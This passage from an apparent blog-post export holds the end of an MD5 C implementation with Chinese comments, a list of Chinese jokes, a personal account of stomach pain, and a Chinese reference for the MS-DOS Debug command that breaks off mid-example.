*/\nFF(b, c, d, a, x[15], S14, 0x49b40821); /* 16 */\n/* Round 2 */\nGG(a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */\nGG(d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */\nGG(c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */\nGG(b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */\nGG(a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */\nGG(d, a, b, c, x[10], S22, 0x2441453); /* 22 */\nGG(c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */\nGG(b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */\nGG(a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */\nGG(d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */\nGG(c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */\nGG(b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */\nGG(a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */\nGG(d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */\nGG(c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */\nGG(b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */\n/* Round 3 */\nHH(a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */\nHH(d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */\nHH(c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */\nHH(b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */\nHH(a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */\nHH(d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */\nHH(c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */\nHH(b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */\nHH(a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */\nHH(d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */\nHH(c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */\nHH(b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */\nHH(a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */\nHH(d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */\nHH(c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */\nHH(b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */\n/* Round 4 */\nII(a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */\nII(d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */\nII(c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */\nII(b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */\nII(a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */\nII(d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */\nII(c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */\nII(b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */\nII(a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */\nII(d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */\nII(c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */\nII(b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */\nII(a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */\nII(d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */\nII(c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */\nII(b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */\nstate[0] += a;\nstate[1] += b;\nstate[2] += c;\nstate[3] += d;\n/* Zeroize sensitive information. */\nR_memset((POINTER)x, 0, sizeof(x));\n}\n/* Encodes input (UINT4) into output (unsigned char). Assumes len is\na multiple of 4. */\n/*将4字节的整数copy到字符形式的缓冲区中\noutput：用于输出的字符缓冲区\ninput：欲转换的四字节的整数形式的数组\nlen：output缓冲区的长度，要求是4的整数倍\n*/\nstatic void Encode(unsigned char *output, UINT4 *input,unsigned int len)\n{\nunsigned int i, j;\nfor(i = 0, j = 0; j \u0026lt; len; i++, j += 4) {\noutput[j] = (unsigned char)(input[i] \u0026amp; 0xff);\noutput[j+1] = (unsigned char)((input[i] \u0026gt;\u0026gt; 8) \u0026amp; 0xff);\noutput[j+2] = (unsigned char)((input[i] \u0026gt;\u0026gt; 16) \u0026amp; 0xff);\noutput[j+3] = (unsigned char)((input[i] \u0026gt;\u0026gt; 24) \u0026amp; 0xff);\n}\n}\n/* Decodes input (unsigned char) into output (UINT4). Assumes len is\na multiple of 4. */\n/*与上面的函数正好相反，这一个把字符形式的缓冲区中的数据copy到4字节的整数中（即以整数形式保存）\noutput：保存转换出的整数\ninput：欲转换的字符缓冲区\nlen：输入的字符缓冲区的长度，要求是4的整数倍\n*/\nstatic void Decode(UINT4 *output, unsigned char *input,unsigned int len)\n{\nunsigned int i, j;\nfor(i = 0, j = 0; j \u0026lt; len; i++, j += 4)\noutput[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) \u0026lt;\u0026lt; 8) |\n\u0026nbsp;\u0026nbsp; (((UINT4)input[j+2]) \u0026lt;\u0026lt; 16) | (((UINT4)input[j+3]) \u0026lt;\u0026lt; 24);\n}\n////////////////////////////////////////////////////////////////////////////////\n// md5test.cpp : Defines the entry point for the console application.\n//\n#include \u0026quot;stdafx.h\u0026quot;\n#include \u0026quot;string.h\u0026quot;\nint main(int argc, char* argv[])\n{\nMD5_CTX md5;\nMD5Init(\u0026amp;md5);\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //初始化用于md5加密的结构\nunsigned char encrypt[200];\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //存放于加密的信息\nunsigned char decrypt[17];\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //存放加密后的结果\nscanf(\u0026quot;%s\u0026quot;,encrypt);\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //输入加密的字符\nMD5Update(\u0026amp;md5,encrypt,strlen((char *)encrypt));\u0026nbsp;\u0026nbsp; //对欲加密的字符进行加密\nMD5Final(decrypt,\u0026amp;md5);\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;//获得最终结果\nprintf(\u0026quot;加密前:%sn加密后:\u0026quot;,encrypt);\nfor(int i=0;i\u0026lt;16;i++)\nprintf(\u0026quot;%2x \u0026quot;,decrypt[i]);\nprintf(\u0026quot;nnn加密结束!n\u0026quot;);\nreturn 0;\n}\n/* 以上代码在vc6下编译通过，运行正常，能够得到正确的md5值 */\n","permalink":"https://hessian.cn/p/653.html","summary":"转自：http://blog.csdn.net/coder0621/archive/2007/03/23/1539208.aspx\n记得当初自己刚开始学习md5的时候，从网上搜了很多关于算法的原理和文字性的描述的东西，但是看了很久一直没有搞 懂，搜c的源代码又很少。直到后来学习rsa算法的时候，从网上下了1991年的欧洲的什么组织写的关于rsa、des、md5算法的c源代码（各部分代 码混在一块的，比如rsa用到的随机大素数就是用机器的随机时间的md5哈希值获得的）。我才彻底把md5弄明白了。这里的代码就是我从那里面分离出来 的，代码的效率和可重用性都是很高的。整理了一下希望对需要的朋友能够有帮助。\n","title":"[转]md5加密算法c实现，七分注释"},{"content":"　如果白痴会飞，那我的公司简直是个机场。\n所有的男人生来平等，结婚的除外。\n咱们是否可以找个地方喝上一杯，交个朋友？或者说，还是我直接给把钱包给你？\n我想，只要我再稍微具有一些谦虚的品质，我就是个完美的人了。\n如果您需要咨询或建议，我们将免费提供；如果您需要正确的答案，请您另外付费。\n过去，闹钟响的时候，我常常有把它拍了再继续睡的毛病，但是自从我在闹钟旁边放了三个老鼠夹之后，我的毛病就根除了。\n如果说贝多芬是交响乐之父，那么是不是说贝多芬的父亲是交响乐之爷？\n我做过很多愚蠢的事情，但是我毫不在乎，我的朋友把它叫做自信。\n盲人协会真诚劝告您：千万不要酒后驾车。\n我想我应该去减肥了，上次献血的时候，居然流出了一百毫升的猪油。\n把俩条虫子做实验。威士忌里的那条死了，证明喝威士忌肚子里不长虫子。\n我的创造力高得无法形容，我的工作能力强得无法形容，我的文字能力妙得无法形容。\n假如计算机每重启一次，比尔盖茨都可以得到一元钱，那么他可要发了。\n十年后，法院第二次判杀人犯死刑。\n我假装为老板工作，老板假装付给我薪水。\n我和妻子已经18个月没说话了，我没机会打断她。\n有没有听过大猪说有，小猪说没有的故事？\n我从来不看电视，我只不过是经常核对一下报纸上的电视节目有没有印错。\n你的眼睛就象天上的明月，一只初一；一只十五。\n你这个孩子怎么不懂事啊？舅舅正在这里，你怎么还会想到要去动物园看狗熊？\n我的视力很差，比如说，看见那边墙上那颗图钉没有？你看得见吧，而我就看不见。\n每天我都不断地刷新一项世界纪录\u0026#8211;我在世界上已经生活的天数。\n在因特网世界，你的女朋友可能是一位男性，而你的男朋友可能是一位女性，这很痛苦，但你得接受。\n你的射击成绩真是太糟了，我要是你，我就立刻自杀，为以防万一你要多带一些子弹的。\n如果你要和老虎比谁更能挨饿，那你赢定了。\n我把电视遥控器别在腰上，作出一付买了新手机的样子。\n只是有钱并不能让人幸福，所以我还偷些珠宝、邮票、手表什么的\n生活真是没劲儿，上个月我的一个哥们儿向我借了4000块钱，说要去做一个整形手术，结果现在我完全不知道他变成什么模样了\n抢劫者须知：本行职员只懂西班牙语，请您抢劫时一定要有耐心，最好携带翻译一名，谢谢!\n你瞎了眼啊？这么大的盾牌你看不见，偏偏要把石头朝我脑袋上扔!\n各位！今天是我太太30岁生日10周年纪念日!\n钱输光了，家具也输光了，衣服也输光了，我现在出门像一个阿拉伯人.\n我比较健忘，于是老婆常叮嘱我，说下雨天外出办事千万别拉了雨伞，所以家里现在已经有十把雨伞了.\n除了一项，其余栏目填得都挺好，关系这一栏应该填岳母，而不应该填紧张。\n爸爸今天打了我两次，第一次是因为看见了我手里两分的成绩单，第二次是因为成绩单是他小时候的。\n悲剧好比是我不小心切掉了自己的小手指；喜剧好比是你不小心掉进了下水道。\n争吵的时候，男人和女人的区别就像是步枪和机关枪的区别。\n下面，我将公布史密斯先生的遗嘱，在公布遗嘱之前，我想满怀诚意地问一句，史密斯夫人，您是否愿意接受我的求婚？\n别骂自己的孩子是小兔崽子，因为从遗传学的角度来讲，这对家长是不利的。\n老婆，我不该用床单擦皮鞋，不过出差刚回来，一时半会儿还改不过来，我错了。\n为提高产品的安全性，我们决定在可乐瓶子瓶盖上加印：请打开这一端；在瓶底上加印：请打开另一端。\n记者：根据最近一项民意调查显示，国民对国内外时事的关心度很低，议员先生，您对此有何看法？议员：没有看法，我不关心\n玛丽，如果你不答应嫁给我，我就立刻去自杀，这是我的一贯做法。\n选择题：假如律师和政客同时掉进河里，请问你是去喝咖啡还是去看电影？\n如果不是发生在我身上的话，那么这件事可真是太好笑了。\n您想拥有一副好的牙齿吗？这里送给你三点经验：一、饭后漱口早晚刷牙；二、每两年去医院检查一次牙齿；三、少管闲事。\n秀发去无踪，头屑更出众！\n我们总是习惯性地认为脑子是人体最重要的器官，但是别忘了这个判断是谁做的.\n在教堂听讲经的时候我们应该保持肃静，打扰别人睡觉是很不礼貌的。\n这些不是破烂！是我收集的古董！当然，如果你不喜欢的话，你可以扔掉.\n人工智能和天然愚蠢无法相提并论\u0026#8211;因为我们主张纯天然.\n一个人如果面对众人批评仍微笑自如，那么他很可能已经找到了替罪羊.\n昨天我报名参加了一个减肥训练班，他们要我在训练时\n","permalink":"https://hessian.cn/p/491.html","summary":"　如果白痴会飞，那我的公司简直是个机场。\n所有的男人生来平等，结婚的除外。\n咱们是否可以找个地方喝上一杯，交个朋友？或者说，还是我直接给把钱包给你？\n我想，只要我再稍微具有一些谦虚的品质，我就是个完美的人了。\n","title":"笑一笑 笑一笑"},{"content":"昨天晚上\u0026#8230;.2点左右\u0026#8230;. 肚子有点痛\u0026#8230;.估计是宵夜吃习惯了吧\u0026#8230;.不过想想 今天也就吃了一碗拉面而已\u0026#8230;. 嗯\u0026#8230;附近还有家桂林米粉店在开, 去吃碗米粉吧, 要不是疼得难受我都不想去\u0026#8230;还得下楼\u0026#8230;. 2,300米的距离\u0026#8230;因为肚子痛感觉好远\u0026#8230;\u0026#8230; 终于到了\u0026#8230;.叫了碗锅烧粉还加了2块钱的肉\u0026#8230;. 感觉等了好长时间(主要是感觉饿得不行了)..粉终于上来了.. 先喝两口汤先\u0026#8230; 嗯\u0026#8230;开吃\u0026#8230;.额\u0026#8230;今天锅烧皮不太脆\u0026#8230;嗯\u0026#8230;.不管\u0026#8230;继续吃\u0026#8230;. 才吃了几口\u0026#8230;.就感觉不对劲了\u0026#8230;.肚子越来越痛\u0026#8230; 痛到什么程度? 没办法形容\u0026#8230;. 吃到嘴里的东西感觉就像木渣一样\u0026#8230;我把勉强把嘴里的东西吐了出去\u0026#8230; 当时我几乎是连张嘴的力气都没有了\u0026#8230; 全身开始冒汗\u0026#8230;.热得我想把衣服脱掉\u0026#8230;但又感觉无法控制身体\u0026#8230;. 外面还冷着呢\u0026#8230;我是拉上了拉链的\u0026#8230;勉强拉开拉链\u0026#8230;用手抓着肚子\u0026#8230; 顶着疼痛的部位\u0026#8230;前仆后仰\u0026#8230;.不管用\u0026#8230; 店老板在那很奇怪的看着我\u0026#8230;问我是不是不舒服\u0026#8230;.我嗯了一声\u0026#8230;.他没什么反应\u0026#8230;走掉了\u0026#8230;. 又来了两个人\u0026#8230;.奇怪的看着我\u0026#8230; 我实在受不了了, 把碗推开, 趴在桌子上\u0026#8230;但感觉似乎这样不能解决问题\u0026#8230;. 强撑着站起来..招招手, 唤过店老板,把钱给付了\u0026#8230; 店老板问我要不要到医院看看\u0026#8230;我支吾着说..\u0026quot;不用了\u0026quot; 拖着步子,一摇二晃的走了出去\u0026#8230; 刚走几步\u0026#8230;还是撑不住了\u0026#8230;蹲在路边 靠着墙角,蜷缩着\u0026#8230; 因为流汗\u0026#8230;风吹在头上感觉好冷\u0026#8230;不过倒是令我感觉渐渐清醒了起来\u0026#8230; 身体也逐渐恢复了控制\u0026#8230;. 我试着走两步..还好,还能走 我记不清楚当时是 \u0026quot;轻飘飘的\u0026quot; 还是 \u0026quot;沉重的\u0026quot; 但可以肯定的是 \u0026quot;步履艰难的\u0026quot; 路上经过一家便利店\u0026#8230;想想\u0026#8230;还是什么都没吃\u0026#8230;还是去买点东西\u0026#8230;免得等会又犯病就麻烦了\u0026#8230;我心有余悸的想着.. 买了罐八宝粥,一盒牛奶\u0026#8230; 回到住的地方\u0026#8230;.. 电脑还没关\u0026#8230;跟梧桐说了我的情况\u0026#8230;丫没良心的居然说我跟他摆故事\u0026#8230;. 睡觉\u0026#8230;..肚子痛\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n不行\u0026#8230;..有时间得去看一下\u0026#8230;.\n","permalink":"https://hessian.cn/p/548.html","summary":"昨天晚上\u0026#8230;.2点左右\u0026#8230;. 肚子有点痛\u0026#8230;.估计是宵夜吃习惯了吧\u0026#8230;.不过想想 今天也就吃了一碗拉面而已\u0026#8230;. 嗯\u0026#8230;附近还有家桂林米粉店在开, 去吃碗米粉吧, 要不是疼得难受我都不想去\u0026#8230;还得下楼\u0026#8230;. 2,300米的距离\u0026#8230;因为肚子痛感觉好远\u0026#8230;\u0026#8230; 终于到了\u0026#8230;.叫了碗锅烧粉还加了2块钱的肉\u0026#8230;. 感觉等了好长时间(主要是感觉饿得不行了)..粉终于上来了.. 先喝两口汤先\u0026#8230; 嗯\u0026#8230;开吃\u0026#8230;.额\u0026#8230;今天锅烧皮不太脆\u0026#8230;嗯\u0026#8230;.不管\u0026#8230;继续吃\u0026#8230;. 才吃了几口\u0026#8230;.就感觉不对劲了\u0026#8230;.肚子越来越痛\u0026#8230; 痛到什么程度? 没办法形容\u0026#8230;. 吃到嘴里的东西感觉就像木渣一样\u0026#8230;我把勉强把嘴里的东西吐了出去\u0026#8230; 当时我几乎是连张嘴的力气都没有了\u0026#8230; 全身开始冒汗\u0026#8230;.热得我想把衣服脱掉\u0026#8230;但又感觉无法控制身体\u0026#8230;. 外面还冷着呢\u0026#8230;我是拉上了拉链的\u0026#8230;勉强拉开拉链\u0026#8230;用手抓着肚子\u0026#8230; 顶着疼痛的部位\u0026#8230;前仆后仰\u0026#8230;.不管用\u0026#8230; 店老板在那很奇怪的看着我\u0026#8230;问我是不是不舒服\u0026#8230;.我嗯了一声\u0026#8230;.他没什么反应\u0026#8230;走掉了\u0026#8230;. 又来了两个人\u0026#8230;.奇怪的看着我\u0026#8230; 我实在受不了了, 把碗推开, 趴在桌子上\u0026#8230;但感觉似乎这样不能解决问题\u0026#8230;. 强撑着站起来..招招手, 唤过店老板,把钱给付了\u0026#8230; 店老板问我要不要到医院看看\u0026#8230;我支吾着说..\u0026quot;不用了\u0026quot; 拖着步子,一摇二晃的走了出去\u0026#8230; 刚走几步\u0026#8230;还是撑不住了\u0026#8230;蹲在路边 靠着墙角,蜷缩着\u0026#8230; 因为流汗\u0026#8230;风吹在头上感觉好冷\u0026#8230;不过倒是令我感觉渐渐清醒了起来\u0026#8230; 身体也逐渐恢复了控制\u0026#8230;. 我试着走两步..还好,还能走 我记不清楚当时是 \u0026quot;轻飘飘的\u0026quot; 还是 \u0026quot;沉重的\u0026quot; 但可以肯定的是 \u0026quot;步履艰难的\u0026quot; 路上经过一家便利店\u0026#8230;想想\u0026#8230;还是什么都没吃\u0026#8230;还是去买点东西\u0026#8230;免得等会又犯病就麻烦了\u0026#8230;我心有余悸的想着.. 买了罐八宝粥,一盒牛奶\u0026#8230; 回到住的地方\u0026#8230;.. 电脑还没关\u0026#8230;跟梧桐说了我的情况\u0026#8230;丫没良心的居然说我跟他摆故事\u0026#8230;. 睡觉\u0026#8230;..肚子痛\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n不行\u0026#8230;..有时间得去看一下\u0026#8230;.\n","title":"得胃病了吗？…."},{"content":"转自：http://hi.baidu.com/skying0802/blog/item/76758411ad099b13b8127b3f.html\n启动 Debug，它是可用于测试和调试 MS-DOS 可执行文件的程序。\nDebug [[drive:][path] filename [parameters]]\n参数\n[drive:][path] filename\n指定要测试的可执行文件的位置和名称。\nparameters\n指定要测试的可执行文件所需要的任何命令行信息。\n++\n说明\n使用 Debug 命令但不指定要测试的文件\n如果使用没有位置和文件名的 Debug 命令，然后键入所有的 Debug 命令以响应 Debug 提示符，连字符 (-)。\nDebug 命令\n以下是 Debug 命令列表：\n? 显示 Debug 命令列表。\na 汇编 8086/8087/8088 记忆码。\nc 比较内存的两个部分。\nd 显示部分内存的内容。\ne 从指定地址开始，将数据输入到内存。\nf 使用指定值填充一段内存。\ng 运行在内存中的可执行文件。\nh 执行十六进制运算。\ni 显示来自特定端口的 1 字节值。\nl 将文件或磁盘扇区内容加载到内存。\nm 复制内存块中的内容\n/n 为 l 或 w 命令指定文件，或者指定正在测试的文件的参数。\no 向输出端口发送 1 个字节的值。\np 执行循环、重复的字符串指令、软件中断或子例程。\nq 停止 Debug 会话。\nr 显示或改变一个或多个寄存器。\ns 在部分内存中搜索一个或多个字节值的模式。\nt 执行一条指令，然后显示所有寄存器的内容、所有标志的状态和 Debug 下一步要执行的指令的解码形式。\nu 反汇编字节并显示相应的原语句。\nw 将被测试文件写入磁盘。\nxa 分配扩展内存。\nxd 释放扩展内存。\nxm 映射扩展内存页。\nxs 显示扩展内存的状态。\n分隔命令参数\n所有 Debug 命令都接受参数，除了 q 命令之外。可以用逗号或空格分隔参数，但是只有在两个十六进制值之间才需要这些分隔符。因此，以下命令等价：\ndcs:100 110\nd cs:100 110\nd,cs:100,110\n指定有效地址项\nDebug 命令中的 address 参数指定内存位置。Address 是一个包含字母段记录的二位名称或一个四位字段地址加上一个偏移量。可以忽略段寄存器或段地址。a，g，l，t，u 和 w 命令的默认段是 CS。所有其他命令的默认段是 DS。所有数值均为十六进制格式。\n有效地址如下：\nCS:0100\n04BA:0100\n在段名和偏移量之间要有冒号。\n指定有效范围项\nDebug 命令中的 range 参数指定了内存的范围。可以为 range 选择两种格式：起始地址和结束地址，或者起始地址和长度范围（由 l 表示）。\n例如，下面的两个语法都可以指定从 CS:100 开始的 16 字节范围：\ncs:100 10f\ncs:100 l 10\n++\nDebug 子命令\n选择 Debug 命令以获得详细信息。\nDebug:A（汇编）\nDebug:C（比较）\nDebug（转储）\nDebug:E（键入）\nDebug:F（填充）\nDebug:G（转向）\nDebug:H（十六进制）\nDebug:I（输入）\nDebug:L（加载）\nDebug:M（移动）\nDebug:N（名称）\nDebug:O（输出）\nDebug:P（执行）\nDebug:Q（退出）\nDebug:r（寄存器）\nDebug:s（搜索）\nDebug:T（跟踪）\nDebug:U（反汇编）\nDebug:W（写入）\nDebug:XA（分配扩展内存）\nDebug:XD（取消分配扩展内存）\nDebug:XM（映射扩展内存页）\nDebug:XS（显示扩展内存状态）\n***********************Debug子命令******************************\nDebug:A（汇编）\n直接将 8086/8087/8088 记忆码合并到内存。\n该命令从汇编语言语句创建可执行的机器码。所有数值都是十六进制格式，必须按一到四个字符输入这些数值。在引用的操作代码（操作码）前指定前缀记忆码。\na [address]\n参数\naddress\n指定键入汇编语言指令的位置。对 address 使用十六进制值，并键入不以“h”字符结尾的每个值。如果不指定地址，a 将在它上次停止处开始汇编。\n有关将数据输入到指定字节中的信息，请单击“相关主题”列表中的 Debug E（键入）。\n有关反汇编字节的信息，请单击“相关主题”列表中的 Debug U（反汇编）。\n范例\na 命令支持所有形式的间接注册命令，如下例所示：\nadd bx,34[bp+2].[si-1]\npop [bp+di]\npush [si] )\n还支持所有操作码同义词，如下例所示：\nloopz 100\nloope 100\nja 200\njnbe 200\n对于 8087 操作码，必须指定 wait 或 fwait 前缀，如下例所示：\nfwait fadd st,st(3) ; this line assembles\n; an fwait prefix\n说明\n使用记忆码\n段的替代记忆码为 cs:、ds:、es: 和 ss:。远程返回的记忆码是 retf。字符串处理的记忆码必须明确声明字符串大小。例如，使用 movsw 可以移动 16 位的字串，使用 mov***（文字因故被系统屏蔽）***（文字因故被系统屏蔽） 可以移动 8 位字节串。\n汇编跳转和调用\n汇编程序根据字节替换自动将短、近和远的跳转及调用汇编到目标地址。通过使用 near 或 far 前缀可以替代这样的跳转或调用，如下例所示：\n-a0100:0500\n0100:0500 jmp 502 ; a 2-byte short jump\n0100:0502 jmp near 505 ; a 3-byte near jump\n0100:0505 jmp far 50a ; a 5-byte far jump\n可以将 near 前缀缩写为 ne。\n区分字和字节内存位置\n当某个操作数可以引用某个字内存位置或者字节内存位置时，必须用前缀 word ptr 或者前缀 byte ptr 指定数据类型。可接受的缩写分别是 wo 和 by。以下范例显示两种格式：\ndec wo [si]\nneg byte ptr [128]\n指定操作数\nDebug 使用包括在中括号 ([ ]) 的操作数引用内存地址的习惯用法。这是因为另一方面 Debug 不能区分立即操作数和内存地址的操作数。以下范例显示两种格式：\nmov ax,21 ; load AX with 21h\nmov ax,[21] ; load AX with the\n; contents of\n; memory location 21h\n使用伪指令\n使用 a 命令提供两个常用的伪指令：db 操作码，将字节值直接汇编到内存，dw 操作码，将字值直接汇编到内存。以下是两个伪指令的范例：\ndb 1,2,3,4,\u0026#8221;THIS IS AN EXAMPLE\u0026#8221;\ndb THIS IS A QUOTATION MARK:\u0026#8221;\ndb \u0026#8220;THIS IS A QUOTATION MARK:\u0026#8221;\ndw 1000,2000,3000,\u0026#8221;BACH\u0026#8221;\n++\nDebug:C（比较）\n比较内存的两个部分。\nc range address\n参数\nrange\n指定要比较的内存第一个区域的起始和结束地址，或起始地址和长度。有关有效的 range 值的信息，请单击“相关主题”列表中的“Debug 说明”。\naddress\n指定要比较的第二个内存区域的起始地址。有关有效 address 值的信息，请单击“相关主题”列表中的“Debug 说明”。\n++\n范例\n以下命令具有相同效果：\nc100,10f 300\nc100l10 300\n每个命令都对 100h 到 10Fh 的内存数据块与 300h 到 30Fh 的内存数据块进行比较。\nDebug 响应前面的命令并显示如下信息（假定 DS = 197F）：\n197F:0100 4D E4 197F:0300\n197F:0101 67 99 197F:0301\n197F:0102 A3 27 197F:0302\n197F:0103 35 F3 197F:0303\n197F:0104 97 BD 197F:0304\n197F:0105 04 35 197F:0305\n197F:0107 76 71 197F:0307\n197F:0108 E6 11 197F:0308\n197F:0109 19 2C 197F:0309\n197F:010A 80 0A 197F:030A\n197F:010B 36 7F 197F:030B\n197F:010C BE 22 197F:030C\n197F:010D 83 93 197F:030D\n197F:010E 49 77 197F:030E\n197F:010F 4F 8A 197F:030F\n注意列表中缺少地址 197F:0106 和 197F:0306。这表明那些地址中的值是相同的。\n++\n说明\n如果 range 和 address 内存区域相同，Debug 将不显示任何内容而直接返回到 Debug 提示符。如果有差异，Debug 将按如下格式显示：\naddress1 byte1 byte2 addess2\n++++\nDebug（转储）\n显示一定范围内存地址的内容。\nd [range]\n参数\nrange\n指定要显示其内容的内存区域的起始和结束地址，或起始地址和长度。有关有效的 range 值的信息，请单击“相关主题”列表中的“Debug 说明”。如果不指定 range，Debug 程序将从以前 d 命令中所指定的地址范围的末尾开始显示 128 个字节的内容。\n有关显示寄存器内容的信息，请单击“相关主题”列表中的 Debug R（寄存器）。\n++\n范例\n假定键入以下命令：\ndcs:100 10f\nDebug 按以下格式显示范围中的内容：\n04BA:0100 54 4F 4D 00 53 41 57 59-45 52 00 00 00 00 00 00 TOM.SAWYER\u0026#8230;\u0026#8230;\n如果在没有参数的情况下键入 d 命令，Debug 按以前范例中所描述的内容来编排显示格式。显示的每行以比前一行的地址大 16 个字节（如果是显示 40 列的屏幕，则为 8 个字节）的地址开头。\n对于后面键入的每个不带参数的 d 命令，Debug 将紧接在最后显示的命令后立即显示字节内容。\n如果键入以下命令，Debug 将从 CS:100 开始显示 20h 个字节的内容：\ndcs:100 l 20\n如果键入以下命令，Debug 将显示范围从 CS 段的 100h 到 115h 中所有字节的内容：\ndcs:100 115\n++\n说明\n当使用 d 命令时，Debug 以两个部分显示内存内容：十六进制部分（每个字节的值都用十六进制格式表示）和 ASCII 码部分（每个字节的值都用 ASCII 码字符表示)。每个非打印字符在显示的 ASCII 部分由句号 (.) 表示。每个显示行显示 16 字节的内容，第 8 字节和第 9 字节之间有一个连字符。每个显示行从 16 字节的边界上开始。\n++\nDebug:E（键入）\n将数据输入到内存中指定的地址。\n可以按十六进制或 ASCII 格式键入数据。以前存储在指定位置的任何数据全部丢失。\ne address\n参数\naddress\n指定输入数据的第一个内存位置。\nlist\n指定要输入到内存的连续字节中的数据。\n有关集成记忆码的信息，请单击“相关主题”列表中的 Debug A（汇编）。\n有关显示内存部分内容的信息，请单击“相关主题”列表中的 Debug D （转储）。\n++\n范例\n假定键入以下命令：\necs:100\nDebug 按下面的格式显示第一个字节的内容：\n04BA:0100 EB.\n要将该值更改为 41，请在插入点键入 41，如下所示：\n04BA:0100 EB.41_\n可以用一个 e 命令键入连续的字节值。在键入新值后按 SPACEBAR（空格键），而不是按 ENTER 键。Debug 显示下一个值。在此范例中，如果按三次 SPACEBAR（空格键），Debug 将显示下面的值：\n04BA:0100 EB.41 10. 00. BC._\n要将十六进制值 BC 更改为 42，请在插入点键入 42，如下所示：\n04BA:0100 